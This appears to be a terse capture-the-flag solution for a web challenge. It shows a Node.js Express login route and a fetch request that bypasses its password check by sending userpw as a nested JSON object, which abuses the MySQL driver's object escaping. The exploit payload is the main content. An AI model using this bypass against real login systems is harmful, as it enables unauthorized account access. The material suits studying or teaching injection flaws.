24th HackingCamp CTF node sqli [WEB]

app.post('/login', (req, res) => {
    var userid = req.body.userid;
    var userpw = req.body.userpw;

    if (userid && userpw) {
        connection.query("SELECT * FROM users WHERE userid = ? AND userpw = ?",
            [ userid, userpw ],
            (error, results, fields) => {
                if (error) throw error;

                console.log(userid, results)

                if (results.length > 0) {
                    req.session.user = userid;
                    res.redirect('/');
                } else {
                    res.send("wrong userid or userpw");
                }
                
                res.end();
            }
        );
    } else {
        res.send("userid or userpw cannot be empty");
    }
});

data = {
  "userid": "admin",
  "userpw": {
    "userpw": 1
  }
}

fetch("http://ctf-hackingcamp.com:32002/login", {
  "headers": {
    "content-type": "application/json",
  },
  "body": JSON.stringify(data),
  "method": "POST",
})
.then(r => r.text())
.then(r => { console.log(r); });